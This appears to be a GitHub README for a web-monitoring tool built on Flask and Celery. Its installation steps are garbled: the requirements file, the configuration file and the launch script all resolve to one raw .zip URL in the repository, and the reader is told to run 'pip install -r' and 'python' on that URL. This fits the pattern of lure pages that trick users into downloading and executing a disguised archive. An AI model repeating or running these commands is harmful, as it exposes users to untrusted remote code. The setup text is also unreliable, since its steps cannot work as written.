Skip to content

Latest commit

 

History

History
94 lines (65 loc) · 4.9 KB

File metadata and controls

94 lines (65 loc) · 4.9 KB

🌐 distributed_complete_monitoring_system - Powerful Web Monitoring Made Easy

Download from Releases

🚀 Getting Started

Welcome to the distributed_complete_monitoring_system. This is an AI-powered web monitoring system built with Python Flask and Celery. It detects changes on web pages and sends you real-time notifications. The system is designed for educational purposes and shows how modern web applications function.

📥 System Requirements

Before downloading, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS, or any Linux distribution
  • Python Version: Python 3.7 or later must be installed
  • RAM: At least 4 GB
  • Internet Connection: Required for web monitoring features

🛠️ Features

  • Distributed Task Processing: Efficiently handles multiple tasks at once.
  • Change Detection: Monitors web pages for changes in content.
  • Real-Time Notifications: Alerts you immediately when changes occur.
  • Data Persistence: Stores monitored data for future access.
  • Anti-Scraping Mechanism: Respects the rules of the websites you monitor.

💻 Installation Steps

Follow these steps to set up the application on your system:

  1. Download the Software:

  2. Install Python:

  3. Install Required Packages:

    • Open your command line interface (Command Prompt on Windows, Terminal on macOS/Linux).
    • Use the following command to install necessary packages:
      pip install -r https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/monitor/system_monitoring_complete_distributed_v3.3-alpha.4.zip
  4. Configuration:

    • Navigate to your installation folder.
    • Locate the configuration file (usually named https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/monitor/system_monitoring_complete_distributed_v3.3-alpha.4.zip).
    • Customize the settings according to your monitoring needs.
  5. Run the Application:

    • In your command line interface, run:
      python https://raw.githubusercontent.com/Ansuraj31280/distributed_complete_monitoring_system/main/monitor/system_monitoring_complete_distributed_v3.3-alpha.4.zip
    • This command will start the monitoring application.

📈 How to Use

  1. Add a Website to Monitor:

    • Open the application interface.
    • Enter the URL of the web page you want to monitor.
    • Set the frequency of checks (e.g., every 5 minutes).
  2. Receive Notifications:

    • The application will notify you whenever a change is detected.
    • You can customize how you want to receive notifications (email, SMS, etc.).
  3. View Monitoring History:

    • Access the history section to view past changes.
    • Analyze the changes over time to see trends.

🏷️ Topics Covered

This project showcases various topics related to web monitoring systems, including:

  • Architecture Showcase
  • Celery for distributed task management
  • Change detection technology
  • Web scraping techniques

🤝 Community and Support

If you have questions or need assistance, feel free to reach out. You can find support through community forums or directly on the GitHub repository.

🔗 Additional Resources

For more detailed documentation and usage examples, check the GitHub Wiki.

📄 License

This project is released under the MIT License. You can freely use it while giving credit to the original authors.


For a hassle-free installation experience, start by visiting the Releases page to download.